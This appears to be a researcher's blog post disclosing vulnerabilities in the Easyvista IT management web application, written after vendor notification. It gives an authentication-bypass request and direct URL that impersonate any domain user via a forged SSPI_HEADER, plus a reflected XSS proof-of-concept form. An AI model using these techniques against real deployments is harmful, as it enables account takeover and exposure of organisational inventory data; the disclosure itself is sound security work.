Easyvista
vulnerabilities quick view
I
usually don't reverse text but sometimes I do.A couple of months ago I read
some slides for a presentation about reverse engineering that stated capital
letters "I don't reverse text" as a reference to web hacking. I'd
like to state that sometimes I do, and I enjoy it; this being one of those
occasions.
This post is a public disclosure of five bugs I found while
at work, in an enterprise web application called Easyvista. Why the public
disclosure you might ask? Not too often, but sometimes - mainly to friends that
publish and expose their sites to the Internet - I pen test their sites for
vulnerabilities. As problems are found, they're fixed as soon as I report them.
This has no consequences because it's only one site, and once the bug is fixed
the security hazard no longer persists. But, when dealing with applications and
frameworks disseminated around the world, this sort of fix is not possible. The
information of software vulnerability has to reach everyone, so those
interested can verify if their platform is vulnerable, and fix it. As I explained to the vendor, Staff&LIne,
if done in a responsible and ethical manner, by allowing the vendor to fix the
problem and notify their clients before going public, it is beneficial to all.
Public disclosure done this way allows for users and security companies to
become aware of the problem, and motivates them to contact the vendor for an update
or upgrade of the software, mainly those clients who are no longer covered by a
maintenance contract that automates this process.
Why should I update the application? It's just a web
application. What is the risk to my organization?
Well, glad you asked. :) Besides corrupted data or
exposure of management information, the real danger may lie in unauthorized
admin access to the platform, as the application stores an organization
inventory database: all machines, software, accounts, etc. This data can be used
to leverage the information gathering phase of a major attack. So, if you're an
Easyvista client please contact your vendor or support team as soon as possible
and request for an update.
Let me introduce Easyvista to you by using the vendor
words:
"EasyVista delivers a comprehensive, integrated,
modular solution spanning the complete IT service management and asset
management lifecycles. The EasyVista solution supports all 15 ITIL v3 processes
including more than 300 out of the box workflow wizards."
And now, for something completely different: the technical
details. Easyvista, as far as I care, is run in Apache web server. You can
check this with any fingerprinting tool or just telnet it and observe the
response headers:
HTTP/1.1
200 OK
Date:
Thu, 05 Jan 2012 16:46:07 GMT
Server:
Apache
X-Powered-By:
PHP/4.4.1
The platform is developed in PHP, as seen by the accessed
web page extensions (and the response headers - see above). The authentication
is integrated with Microsoft's Active Directory (CAS model with SSO). The
authentication is implemented in two different ways: a login page (/index.html)
that requests your credentials, and a login pop box that asks for your
credentials.
For what I can say, either of these authentications
methods is vulnerable, because the flow path of execution and session setup
ends up in the same vulnerable spot. Although, to be fair, I can’t really say
if the vulnerability can be exploited if the SSPI module is not present as I
didn’t access the application code.
The first authentication method, the login form:
The sequence of events when login in:
Let's peek at the index.php request:
POST
/index.php HTTP/1.1
Host:
XXXXXXXXXX
...
Content-Type:
application/x-www-form-urlencoded
Content-Length:
107
url_account=50005&url_login=username&url_password=something&x=0&y=0&from_url=%2Findex.html
The second authentication method, uses SSPI Apache
integrated authentication type.
This allows for NTLM negotiation, for example. Its
execution flow is as follows:
Let's peek now at the index.php request:
POST
/index.php?url_account=50005 HTTP/1.1
Host:
XXXXXXXX
....
Content-Type:
application/x-www-form-urlencoded
Content-Length:
36
SSPI_HEADER=domain_name%5Cuser_name
You see where we're going, right? (Yes, it is as easy as
this.) Change the user_name to whatever user in the organization you want, and
you get a session to that user. Remember that you're supposed to be in an
Active Directory realm. So, you can grab a list of users from your outlook for
example and try out any user, until you hit an administrator account.
The cherry on top of the cake is that you don't even have
to login or provide any credential. If you use a direct link, like this:
http://servername/index.php?url_account=account_number&SSPI_HEADER=windows_domain\username
You will get a full working session with whatever user you
want.
Index.php is the guilty one here. It trusts data that
comes from the user while badly managing session data. It assumes that the user
is authenticated and no longer validates the credentials.
The second problem found lies in the redirection page,
indexphp_redirect.php, and is a reflected XSS attack. Watching the response
given by the redirection page, we can defer our script attack:
HTTP/1.1
200 OK
...
Content-Length:
503
Content-Type:
text/html; charset=ISO-8859-1
<!DOCTYPE
HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta
http-equiv="X-UA-Compatible" content="IE=7"> <!--
IE7 mode --><meta http-equiv="Content-Type"
content="text/html; charset=iso-8859-1"></head><body><form
name="frm" action="/index.php?url_account=5005
method="POST"><input type="hidden"
name="SSPI_HEADER" value="domain_name\user_name"></form><script
type="text/javascript" language="JavaScript">window.document.frm.submit()</script></body></html>
The variable url_account is vulnerable to code injection,
as long as an REFERER header is provided. I know you know how to spoof a
REFERER header. Just set it to any value you want. As for the PoC, the
following code will do the trick:
<html>
<head>
<meta
http-equiv="X-UA-Compatible" content="IE=7">
<meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<form
name="frm"
action="http://server_name/sspi/indexphp_redirect.php"
method="POST">
<input
type="hidden" name="url_account" value='50005"
method="POST"><script>alert("ola")</script>
<po="'>
</form>
<script
type="text/javascript" language="JavaScript">window.document.frm.submit()
</script>
</body>
</html>
And the result:
A couple more issues were found:
-
A session fixation problem that allowed for CSRF
attacks.
-
A database fingerprinting thru SQL filter parser
bypass. I didn’t work much on this one to see if SQL injection was possible,
but as this item is not yet fixed, I won’t give any more details about it.
And that's it for today.
Hope you
enjoyed it.
